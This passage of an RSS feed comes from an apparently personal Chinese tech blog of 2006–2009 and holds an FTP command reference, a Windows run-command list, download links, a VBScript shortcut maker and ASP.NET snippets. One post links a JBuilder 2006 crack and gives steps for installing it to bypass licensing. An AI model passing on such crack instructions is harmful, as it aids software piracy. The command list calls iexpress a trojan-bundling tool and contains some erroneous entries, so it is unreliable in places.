&gt;&lt;font color="#ff6600" size="2" &gt;FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;FTP的命令行格式为： &lt;br /&gt;ftp -v -d -i -n -g [主机名] ，其中&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;-v 显示远程服务器的所有响应信息；&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;-n 限制ftp的自动登录，即不使用；.n etrc文件；&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;-d 使用调试方式；&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;-g 取消全局文件名。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;FTP使用的内部命令如下(中括号表示可选项):&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip &lt;br /&gt;2.$ macro-ame[args]： 执行宏定义macro-name。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 &lt;br /&gt;4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;5.ascii：使用ascii类型传输方式。&lt;br /&gt;6.bell：每个命令执行完毕后计算机响铃一次。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;7.bin：使用二进制文件传输方式。&lt;br /&gt;8.bye：退出ftp会话过程。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 &lt;br /&gt;10.cd remote-dir：进入远程主机目录。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;11.cdup：进入远程主机目录的父目录。 &lt;br /&gt;12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;13.close：中断与远程服务器的ftp会话(与open对应)。 &lt;br /&gt;14.cr：使用asscii方式传输文件时，将回车换行转换为回行。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;15.delete remote-file：删除远程主机文件。 &lt;br /&gt;16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，表示取消debug。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 &lt;br /&gt;18.disconnection：同close。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;19.form format：将文件传输方式设置为format，缺省为file方式。 &lt;br /&gt;20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 &lt;br /&gt;22.hash：每传输1024字节，显示一个hash符号(#)。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 &lt;br /&gt;24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;25.image：设置二进制传输方式(同binary)。 &lt;br /&gt;26.lcd[dir]：将本地工作目录切换至dir。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 &lt;br /&gt;28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;29.mdelete[remote-file]：删除远程主机文件。 &lt;br /&gt;30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;31.mget remote-files：传输多个远程文件。 &lt;br /&gt;32.mkdir dir-name：在远程主机中建一目录。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;33.mls remote-file local-file：同nlist，但可指定多个文件名。 &lt;br /&gt;34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;35.modtime file-name：显示远程主机文件的最后修改时间。 &lt;br /&gt;36.mput local-file：将多个文件传输至远程主机。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。&lt;br /&gt;38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适用于远程主机为非UNIX机的情况。&lt;br /&gt;40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 &lt;br /&gt;42.passive：进入被动传输方式。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;43.prompt：设置多个文件传输时的交互提示。 &lt;br /&gt;44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。&lt;br /&gt;45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 &lt;br /&gt;46.pwd：显示远程主机的当前工作目录。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;47.quit：同bye，退出ftp会话。 &lt;br /&gt;48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;49.recv remote-file[local-file]：同get。 &lt;br /&gt;50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;51.rhelp[cmd-name]：请求获得远程主机的帮助。 &lt;br /&gt;52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;53.rename[from][to]：更改远程主机文件名。 &lt;br /&gt;54.reset：清除回答队列。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 &lt;br /&gt;56.rmdir dir-name：删除远程主机目录。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 &lt;br /&gt;58.send local-file[remote-file]：同put。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;59.sendport：设置PORT命令的使用。 &lt;br /&gt;60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;61.size file-name：显示远程主机文件大小，如：site idle 7200。 &lt;br /&gt;62.status：显示当前ftp状态。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 &lt;br /&gt;64.sunique：将远程主机文件名存储设置为只一(与runique对应)。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;65.system：显示远程主机的操作系统类型。 &lt;br /&gt;66.tenex：将文件传输类型设置为TENEX机的所需的类型。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;67.tick：设置传输时的字节计数器。 &lt;br /&gt;68.trace：设置包跟踪。&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 &lt;br /&gt;70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous &lt;/font &gt;&lt;a href="mailto:my@email" &gt;&lt;font color="#ff6600" size="2" &gt;my@email&lt;/font &gt;&lt;/a &gt;&lt;font color="#ff6600" size="2" &gt;。 &lt;br /&gt;72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;73.?[cmd]：同help.&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;#11 十一：&lt;/font &gt;&lt;/p &gt;&lt;p &gt;&lt;font color="#ff6600" size="2" &gt;7：计算机运行命令全集 winver---------检查Windows版本&lt;br /&gt;wmimgmt.msc----打开windows管理体系结构&lt;br /&gt;wupdmgr--------windows更新程序&lt;br /&gt;winver---------检查Windows版本&lt;br /&gt;wmimgmt.msc----打开windows管理体系结构&lt;br /&gt;wupdmgr--------windows更新程序&lt;br /&gt;wscript--------windows脚本宿主设置&lt;br /&gt;write----------写字板winmsd-----系统信息&lt;br /&gt;wiaacmgr-------扫描仪和照相机向导&lt;br /&gt;winchat--------XP自带局域网聊天&lt;br /&gt;mem.exe--------显示内存使用情况&lt;br /&gt;Msconfig.exe---系统配置实用程序 &lt;br /&gt;mplayer2-------简易widnows media player&lt;br /&gt;mspaint--------画图板&lt;br /&gt;mstsc----------远程桌面连接&lt;br /&gt;mplayer2-------媒体播放机&lt;br /&gt;magnify--------放大镜实用程序&lt;br /&gt;mmc------------打开控制台&lt;br /&gt;mobsync--------同步命令&lt;br /&gt;dxdiag---------检查DirectX信息&lt;br /&gt;drwtsn32------ 系统医生&lt;br /&gt;devmgmt.msc--- 设备管理器&lt;br /&gt;dfrg.msc-------磁盘碎片整理程序&lt;br /&gt;diskmgmt.msc---磁盘管理实用程序&lt;br /&gt;dcomcnfg-------打开系统组件服务&lt;br /&gt;ddeshare-------打开DDE共享设置&lt;br /&gt;dvdplay--------DVD播放器&lt;br /&gt;net stop messenger-----停止信使服务&lt;br /&gt;net start messenger----开始信使服务 &lt;br /&gt;notepad--------打开记事本&lt;br /&gt;nslookup-------网络管理的工具向导&lt;br /&gt;ntbackup-------系统备份和还原&lt;br /&gt;narrator-------屏幕"讲述人"&lt;br /&gt;ntmsmgr.msc----移动存储管理器&lt;br /&gt;ntmsoprq.msc---移动存储管理员操作请求&lt;br /&gt;netstat -an----(TC)命令检查接口&lt;br /&gt;syncapp--------创建一个公文包&lt;br /&gt;sysedit--------系统配置编辑器&lt;br /&gt;sigverif-------文件签名验证程序&lt;br /&gt;sndrec32-------录音机&lt;br /&gt;shrpubw--------创建共享文件夹&lt;br /&gt;secpol.msc-----本地安全策略&lt;br /&gt;syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码&lt;br /&gt;services.msc---本地服务设置&lt;br /&gt;Sndvol32-------音量控制程序&lt;br /&gt;sfc.exe--------系统文件检查器&lt;br /&gt;sfc /scannow---windows文件保护&lt;br /&gt;tsshutdn-------60秒倒计时关机命令&lt;br /&gt;tourstart------xp简介（安装完成后出现的漫游xp程序）&lt;br /&gt;taskmgr--------任务管理器&lt;br /&gt;eventvwr-------事件查看器&lt;br /&gt;eudcedit-------造字程序 &lt;br /&gt;explorer-------打开资源管理器&lt;br /&gt;packager-------对象包装程序&lt;br /&gt;perfmon.msc----计算机性能监测程序&lt;br /&gt;progman--------程序管理器&lt;br /&gt;regedit.exe----注册表 &lt;br /&gt;rsop.msc-------组策略结果集&lt;br /&gt;regedt32-------注册表编辑器&lt;br /&gt;rononce -p ----15秒关机&lt;br /&gt;regsvr32 /u *.dll----停止dll文件运行&lt;br /&gt;regsvr32 /u zipfldr.dll------取消ZIP支持&lt;br /&gt;cmd.exe--------CMD命令提示符&lt;br /&gt;chkdsk.exe-----Chkdsk磁盘检查&lt;br /&gt;certmgr.msc----证书管理实用程序&lt;br /&gt;calc-----------启动计算器&lt;br /&gt;charmap--------启动字符映射表&lt;br /&gt;cliconfg-------SQL SERVER 客户端网络实用程序&lt;br /&gt;Clipbrd--------剪贴板查看器&lt;br /&gt;conf-----------启动netmeeting&lt;br /&gt;compmgmt.msc---计算机管理&lt;br /&gt;cleanmgr-------**整理&lt;br /&gt;ciadv.msc------索引服务程序&lt;br /&gt;osk------------打开屏幕键盘&lt;br /&gt;odbcad32-------ODBC数据源管理器&lt;br /&gt;oobe/msoobe /a----检查XP是否激活&lt;br /&gt;lusrmgr.msc----本机用户和组&lt;br /&gt;logoff---------注销命令&lt;br /&gt;iexpress-------木马捆绑工具，系统自带&lt;br /&gt;Nslookup-------IP地址侦测器&lt;br /&gt;fsmgmt.msc-----共享文件夹管理器&lt;br /&gt;utilman--------辅助工具管理器&lt;br /&gt;gpedit.msc-----组策略 &lt;/font &gt;&lt;/p &gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=10</guid><pubDate>Fri, 28 Jul 2006 15:36:00 GMT</pubDate></item><item><title>SQL2000 4IN1 下载 [无需注册码]</title><link>http://www.chendw.cn:8080/view.aspx?id=9</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;新增可用下载地址：&lt;a href="http://www.cncode.com/downinfo/155.html"&gt;http://www.cncode.com/downinfo/155.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff0000;"&gt;以下部分链接已经失效！&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;速度较快 &lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2319" target="_blank"&gt;&lt;span style="color: #ff0000;"&gt;SQL 2000 4in1.ISO&lt;/span&gt;&lt;/a&gt;&lt;span style="color: #ff0000;"&gt; &lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?filename=sql+2000" target="_blank"&gt;&lt;span style="color: #3366ff;"&gt;更多版本&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
&lt;table class="table FCK__ShowTableBorders" border="0" cellspacing="1" cellpadding="4" width="728"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width="60%" align="center"&gt;名称(点击可下载)&lt;/td&gt;
&lt;td colspan="2" width="40%" align="center"&gt;大小&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2717" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2000-KB884525-SP4-x86-CHS.EXE&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;67.14 M&lt;/td&gt;
&lt;td align="right"&gt;70402968&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2716" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2000.MSDE-KB884525-SP4-x86-CHS.EXE&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;80.19 M&lt;/td&gt;
&lt;td align="right"&gt;84087456&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2696" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL Server 2000 ENTERPRISE.rar&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;312.20 M&lt;/td&gt;
&lt;td align="right"&gt;327367555&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2668" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2000.MSDE-KB884525-SP4-x86-ENU.EXE&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;78.48 M&lt;/td&gt;
&lt;td align="right"&gt;82290272&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2667" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2000.AS-KB884525-SP4-x86-ENU.EXE&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;44.44 M&lt;/td&gt;
&lt;td align="right"&gt;46600824&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2666" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2000-KB884525-SP4-ia64-ENU.EXE&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;49.06 M&lt;/td&gt;
&lt;td align="right"&gt;51442640&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2665" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2000-KB884525-SP4-x86-ENU.EXE&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;66.93 M&lt;/td&gt;
&lt;td align="right"&gt;70180512&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2663" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2000-KB884525-SP4-x86-CHS.EXE&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;67.14 M&lt;/td&gt;
&lt;td align="right"&gt;70402968&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2319" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL 2000 4in1.ISO&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;674.67 M&lt;/td&gt;
&lt;td align="right"&gt;707444736&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2196" target="_blank"&gt;&lt;span style="color: #618209;"&gt;sql2000.rar&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;357.83 M&lt;/td&gt;
&lt;td align="right"&gt;375208429&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=2083" target="_blank"&gt;&lt;span style="color: #618209;"&gt;sql2000-kb884525-sp4-x86-enu.exe&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;66.93 M&lt;/td&gt;
&lt;td align="right"&gt;70180512&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=1980" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SqlServer2000.ISO&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;674.67 M&lt;/td&gt;
&lt;td align="right"&gt;707444736&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="http://www.51windows.net/shareurl/shareurl.asp?act=down&amp;amp;file_id=1736" target="_blank"&gt;&lt;span style="color: #618209;"&gt;SQL2000.rar&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td align="right"&gt;312.07 M&lt;/td&gt;
&lt;td align="right"&gt;327229084&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td colspan="3" align="right"&gt;&lt;span&gt;共 13 个记录&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=9</guid><pubDate>Sat, 28 Mar 2009 12:22:07 GMT</pubDate></item><item><title>[原创]利用脚本创建快捷方式</title><link>http://www.chendw.cn:8080/view.aspx?id=8</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p &gt;开头的话：&lt;/p &gt;&lt;p &gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 每次重装系统以后系统桌面空荡荡的，可是系统里有很多绿色软件是可以继续用并且常用的，所以一般都放在桌面，但是又因为自己比较懒，把一个个快捷方式发送到桌面太麻烦所以就写了一个脚本每次装好系统只要把脚本运行一下就ok了。&lt;/p &gt;&lt;p &gt;本文以E:\游戏娱乐\QQ2006\腾讯QQ\QQ.exe为例利用脚本在桌面创建一个快捷方式&lt;/p &gt;&lt;p &gt;在桌面新建一个后缀名为vbs的文件内容为：&lt;/p &gt;&lt;p &gt;set WshShell = Wscript.CreateObject("Wscript.Shell") &lt;br /&gt;strDesktop = WshShell.SpecialFolders("Desktop") &lt;br /&gt;set oShellLink = WshShell.CreateShortcut(strDesktop &amp;amp; "\QQ2006.lnk") &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#ccffff" &gt;&lt;font color="#0000ff" &gt; '创建一个快捷方式对象,其在桌面上显示的名字为"QQ2006" &lt;/font &gt;&lt;br /&gt;&lt;/font &gt;oShellLink.TargetPath = "E:\游戏娱乐\QQ2006\腾讯QQ\QQ.exe" &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#0000ff" &gt; '设置快捷方式的执行路径 &lt;br /&gt;&lt;/font &gt;oShellLink.WindowStyle = 1 &lt;br /&gt;oShellLink.Hotkey = "Ctrl+Alt+e" &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color="#0000ff" &gt;'设置快捷方式的快捷键 &lt;br /&gt;&lt;/font &gt;oShellLink.IconLocation = "E:\游戏娱乐\QQ2006\腾讯QQ\QQ.exe" &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#0000ff" &gt; '设置快捷方式的图标路径 &lt;br /&gt;&lt;/font &gt;oShellLink.Description = "QQ2006绿色版" &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color="#0000ff" &gt; '设置快捷方式的描述 &lt;br /&gt;&lt;/font &gt;oShellLink.WorkingDirectory = strDesktop &lt;br /&gt;oShellLink.Save &lt;/p &gt;&lt;p &gt;保存双击运行桌面就多了个QQ2006的快捷方式&lt;/p &gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=8</guid><pubDate>Thu, 27 Jul 2006 13:04:00 GMT</pubDate></item><item><title>ASP.NET2.0中&amp;amp;#34;无法显示 XML 页的【解决办法】</title><link>http://www.chendw.cn:8080/view.aspx?id=7</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;ASP.NET2.0中"无法显示 XML 页。 使用 XSL 样式表无法查看 XML 输入。"问题的解决 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 出现这样的问题是因为.net framework 2.0 安装IIS之前,&lt;br /&gt;具体的情况就是，我最开始时先安装的iis，之后是.net framework 2.0&lt;br /&gt;可是经过测试我的iis不能用，据说这是ms的一个bug，搞了好久没有搞定，&lt;br /&gt;结果就狠心卸载了iis重装一遍，所以就出现了新的问题&lt;br /&gt;"无法显示 XML 页。&amp;nbsp;&amp;nbsp;&amp;nbsp; 使用 XSL 样式表无法查看 XML 输入。"&lt;/p&gt;
&lt;p&gt;当我再iis管理工具里面选中iis的版本之后，又出现了&amp;ldquo;访问 IIS 元数据库失败&amp;rdquo;&lt;br /&gt;这样的信息，结果在ms的技术文章里找到了答案，说是aspnet帐户没有注册，&lt;br /&gt;接下来我开始寻找解决办法，功夫不负有心人，找到一个aspnet帐户注册工具，aspnet_regiis&lt;br /&gt;具体的步骤就是：&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;打开vs.net命令提示行，&lt;br /&gt;输入aspnet_regiis -ir -enable&lt;br /&gt;解决掉了，具体的参数的意思请输入aspnet_regiis help查询&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=7</guid><pubDate>Sun, 29 Mar 2009 03:22:50 GMT</pubDate></item><item><title>JBuilder 2006 + 破解文件 [已修正破解文件的下载地址]</title><link>http://www.chendw.cn:8080/view.aspx?id=6</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;a href="ftp://ftpd.borland.com/download/jbuilder/JBuilder_2006/Enterprise/jb2006_enttrialdl_win.zip"&gt;&lt;font color="#ff0000"&gt;JBuilder 2006 下载&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#ff0000"&gt;&lt;a target="_blank" href="http://cdws.gbaopan.com/files/fa79e3f8779647ea96417c26b9e5552c.gbp"&gt;破解文件 下载&lt;/a&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;破解方法：&lt;/p&gt;&lt;p&gt;1,安装Jbuilder2006.&lt;br&gt;2、将破解文件包Crack.zip中的*.JAR文件(有两个)复制到JBuilder2006\lib目录中，将*.SLIP复制到JBuilder2006\(即安装好后的根目录),再将*.SLIP放至JBuilder2006\license下&lt;/p&gt;&lt;p&gt;3、更新JDK核心:&lt;br&gt;从网络上下载最新JDK1.5.0&lt;br&gt;安装上，将\JAVA\JDK1.5.0\下所有文件，包括子目录所有文件复制到JBuilder2006\jdk1.5\下，就可以了。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=6</guid><pubDate>Tue, 18 Jul 2006 14:56:00 GMT</pubDate></item><item><title>ASP.NET程序中常用的三十三种代码</title><link>http://www.chendw.cn:8080/view.aspx?id=5</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p &gt;1. 打开新的窗口并传送参数： &lt;/p &gt;&lt;p &gt;　　传送参数：&lt;/p &gt;&lt;p &gt;response.write("＜script＞window.open(’*.aspx?id="+this.DropDownList1.SelectIndex+"&amp;amp;id1="+...+"’)＜/script＞")&lt;br /&gt;　　接收参数：&lt;/p &gt;&lt;p &gt;string a = Request.QueryString("id");&lt;br /&gt;string b = Request.QueryString("id1");&lt;br /&gt;　　2.为按钮添加对话框&lt;/p &gt;&lt;p &gt;Button1.Attributes.Add("onclick","return confirm(’确认?’)");&lt;br /&gt;button.attributes.add("onclick","if(confirm(’are you sure...?’)){return true;}else{return false;}")&lt;br /&gt;　　3.删除表格选定记录&lt;/p &gt;&lt;p &gt;int intEmpID = (int)MyDataGrid.DataKeys[e.Item.ItemIndex];&lt;br /&gt;string deleteCmd = "DELETE from Employee where emp_id = " + intEmpID.ToString()&lt;br /&gt;　　4.删除表格记录警告&lt;/p &gt;&lt;p &gt;private void DataGrid_ItemCreated(Object sender,DataGridItemEventArgs e)&lt;br /&gt;{&lt;br /&gt;　switch(e.Item.ItemType)&lt;br /&gt;　{&lt;br /&gt;　　case ListItemType.Item :&lt;br /&gt;　　case ListItemType.AlternatingItem :&lt;br /&gt;　　case ListItemType.EditItem:&lt;br /&gt;　　　TableCell myTableCell;&lt;br /&gt;　　　myTableCell = e.Item.Cells[14];&lt;br /&gt;　　　LinkButton myDeleteButton ;&lt;br /&gt;　　　myDeleteButton = (LinkButton)myTableCell.Controls[0];&lt;br /&gt;　　　myDeleteButton.Attributes.Add("onclick","return confirm(’您是否确定要删除这条信息’);");&lt;br /&gt;　　　break;&lt;br /&gt;　　default:&lt;br /&gt;　　　break;&lt;br /&gt;　}&lt;/p &gt;&lt;p 